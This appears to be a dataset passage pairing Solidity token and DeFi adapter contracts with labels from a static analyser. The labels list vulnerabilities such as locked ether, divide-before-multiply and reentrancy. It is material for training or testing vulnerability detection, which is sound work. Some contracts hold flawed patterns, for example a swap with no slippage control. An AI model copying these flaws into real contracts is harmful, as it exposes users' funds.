gonValue.div(FEE_DIVISOR).mul(numerator).div(
_gonsPerFragment
)
);
} else {
_gonBalances[address(marketing)] = _gonBalances[
address(marketing)
].add(gonValue.div(FEE_DIVISOR).mul(stakingFee));
}
emit Transfer(from, to, value);
}
}
receive() external payable {}
/**
* @dev marketing fee transfer helper
*/
function swapGons(uint256 wad) private lockSwap {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
// approve token for spending
// _approve(address(this), address(router), wad);
_allowedFragments[address(this)][address(router)] = wad;
// make the swap with ETH sent to marketing
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
wad,
0, // no slippage control
path,
marketing,
block.timestamp
);
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) reentrancy-no-eth with Medium impact
3) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT465896' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT465896
// Name : ADZbuzz Diply.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT465896";
name = "ADZbuzz Diply.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract GoogleTokenOfficial is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = "GOOGLE";
name = "Google Token";
decimals = 18;
totalSupply = 1000000000000000*10**uint256(decimals);
maxSupply = 1000000000000000*10**uint256(decimals);
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT221258' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT221258
// Name : ADZbuzz Kendieveryday.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT221258";
name = "ADZbuzz Kendieveryday.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract EthereumWildCherries is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = unicode"ETHCH 🍒";
name = "Ethereum Wild Cherries";
decimals = 18;
totalSupply = 1000000000000000*10**uint256(decimals);
maxSupply = 1000000000000000*10**uint256(decimals);
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
/**
* @title Protocol adapter abstract contract.
* @dev adapterType(), tokenType(), and getBalance() functions MUST be implemented.
* @author Igor Sobolev <[email protected]>
*/
abstract contract ProtocolAdapter {
/**
* @dev MUST return amount and type of the given token
* locked on the protocol by the given account.
*/
function getBalance(address token, address account) public virtual returns (int256);
}
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import { ERC20 } from "../../interfaces/ERC20.sol";
import { ProtocolAdapter } from "../ProtocolAdapter.sol";
/**
* @title Adapter for SushiSwap protocol (exchange).
* @dev Implementation of ProtocolAdapter abstract contract.
* Base contract for SushiSwap exchange adapter.
* @author Igor Sobolev <[email protected]>
*/
contract SushiExchangeAdapter is ProtocolAdapter {
/**
* @notice This function is unavailable for exchange adapter.
* @dev Implementation of ProtocolAdapter abstract contract function.
*/
function getBalance(address, address) public pure override returns (int256) {
revert("SEA: no balance");
}
}
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import { ProtocolAdapter } from "../adapters/ProtocolAdapter.sol";
import { TokenAmount, AmountType } from "../shared/Structs.sol";
import { ERC20 } from "../interfaces/ERC20.sol";
/**
* @title Base contract for interactive protocol adapters.
* @dev deposit() and withdraw() functions MUST be implemented
* as well as all the functions from ProtocolAdapter abstract contract.
* @author Igor Sobolev <[email protected]>
*/
abstract contract InteractiveAdapter is ProtocolAdapter {
uint256 internal constant DELIMITER = 1e18;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev The function must deposit assets to the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function deposit(TokenAmount[] calldata tokenAmounts, bytes calldata data)
external
payable
virtual
returns (address[] memory);
/**
* @dev The function must withdraw assets from the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function withdraw(TokenAmount[] calldata tokenAmounts, bytes calldata data)
external
payable
virtual
returns (address[] memory);
function getAbsoluteAmountDeposit(TokenAmount calldata tokenAmount)
internal
view
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
uint256 balance;
if (token == ETH) {
balance = address(this).balance;
} else {
balance = ERC20(token).balanceOf(address(this));
}
if (amount == DELIMITER) {
return balance;
} else {
return mul_(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function getAbsoluteAmountWithdraw(TokenAmount calldata tokenAmount)
internal
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
int256 balanceSigned = getBalance(token, address(this));
uint256 balance = balanceSigned > 0 ? uint256(balanceSigned) : uint256(-balanceSigned);
if (amount == DELIMITER) {
return balance;
} else {
return mul_(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function mul_(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "IA: mul overflow");
return c;
}
}
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import { ERC20 } from "../../interfaces/ERC20.sol";
import { SafeERC20 } from "../../shared/SafeERC20.sol";
import { TokenAmount, AmountType } from "../../shared/Structs.sol";
import { SushiExchangeAdapter } from "../../adapters/sushi/SushiExchangeAdapter.sol";
import { InteractiveAdapter } from "../InteractiveAdapter.sol";
import { UniswapV2Library } from "../uniswap/UniswapV2Library.sol";
import { UniswapV2Pair } from "../../interfaces/UniswapV2Pair.sol";
/**
* @title Interactive adapter for SushiSwap protocol (exchange).
* @dev Implementation of InteractiveAdapter abstract contract.
* @author Igor Sobolev <[email protected]>
*/
contract SushiExchangeInteractiveAdapter is InteractiveAdapter, SushiExchangeAdapter {
using SafeERC20 for ERC20;
address internal constant FACTORY = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;
/**
* @notice Exchange tokens using SushiSwap pool.
* @param tokenAmounts Array with one element - TokenAmount struct with
* "from" token address, "from" token amount, and amount type.
* @param data ABI-encoded additional parameter:
* - path - SushiSwap exchange path starting from tokens[0].
* @return tokensToBeWithdrawn Array with one element - token address to be exchanged to.
* @dev Implementation of InteractiveAdapter function.
*/
function deposit(TokenAmount[] calldata tokenAmounts, bytes calldata data)
external
payable
override
returns (address[] memory tokensToBeWithdrawn)
{
require(tokenAmounts.length == 1, "SEIA: should be 1 tokenAmount");
address[] memory path = abi.decode(data, (address[]));
address token = tokenAmounts[0].token;
require(token == path[0], "SEIA: bad path[0]");
uint256 amount = getAbsoluteAmountDeposit(tokenAmounts[0]);
tokensToBeWithdrawn = new address[](1);
tokensToBeWithdrawn[0] = path[path.length - 1];
uint256[] memory amounts = UniswapV2Library.getAmountsOut(FACTORY, amount, path);
_swap(amounts, path);
}
/**
* @notice Exchange tokens using SushiSwap pool.
* @param tokenAmounts Array with one element - TokenAmount struct with
* "to" token address, "to" token amount, and amount type (must be absolute).
* @param data SushiSwap exchange path ending with tokens[0] (ABI-encoded).
* @return tokensToBeWithdrawn Array with one element - token address to be changed to.
* @dev Implementation of InteractiveAdapter function.
*/
function withdraw(TokenAmount[] calldata tokenAmounts, bytes calldata data)
external
payable
override
returns (address[] memory tokensToBeWithdrawn)
{
require(tokenAmounts.length == 1, "SEIA: should be 1 tokenAmount");
require(tokenAmounts[0].amountType == AmountType.Absolute, "SEIA: bad type");
address[] memory path = abi.decode(data, (address[]));
address token = tokenAmounts[0].token;
require(token == path[path.length - 1], "SEIA: bad path[path.length - 1]");
uint256 amount = tokenAmounts[0].amount;
tokensToBeWithdrawn = new address[](1);
tokensToBeWithdrawn[0] = token;
uint256[] memory amounts = UniswapV2Library.getAmountsIn(FACTORY, amount, path);
_swap(amounts, path);
}
function _swap(uint256[] memory amounts, address[] memory path) internal {
ERC20(path[0]).safeTransfer(
UniswapV2Library.pairFor(FACTORY, path[0], path[1]),
amounts[0],
"SEIA"
);
for (uint256 i = 0; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0, ) = UniswapV2Library.sortTokens(input, output);
uint256 amountOut = amounts[i + 1];
(uint256 amount0Out, uint256 amount1Out) =
input == token0 ? (uint256(0), amountOut) : (amountOut, uint256(0));
UniswapV2Pair(UniswapV2Library.pairFor(FACTORY, input, output)).swap(
amount0Out,
amount1Out,
i < path.length - 2
? UniswapV2Library.pairFor(FACTORY, output, path[i + 2])
: address(this),
new bytes(0)
);
}
}
}
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity 0.7.6;
import { UniswapV2Pair } from "../../interfaces/UniswapV2Pair.sol";
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "UniswapV2: add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "UniswapV2: sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "UniswapV2: mul-overflow");
}
}
library UniswapV2Library {
using SafeMath for uint256;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB)
internal
pure
returns (address token0, address token1)
{
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
);
}
// fetches and sorts the reserves for a pair
function getReserves(
address factory,
address tokenA,
address tokenB
) internal view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) =
UniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
uint256 numerator = reserveIn.mul(amountOut).mul(1000);
uint256 denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(
address factory,
uint256 amountIn,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "UniswapV2Library: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[0] = amountIn;
for (uint256 i = 0; i < path.length - 1; i++) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(
address factory,
uint256 amountOut,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "UniswapV2Library: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint256 i = path.length - 1; i > 0; i--) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// Copyright (C) 2020 Zerion Inc. <https://zerion.io>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
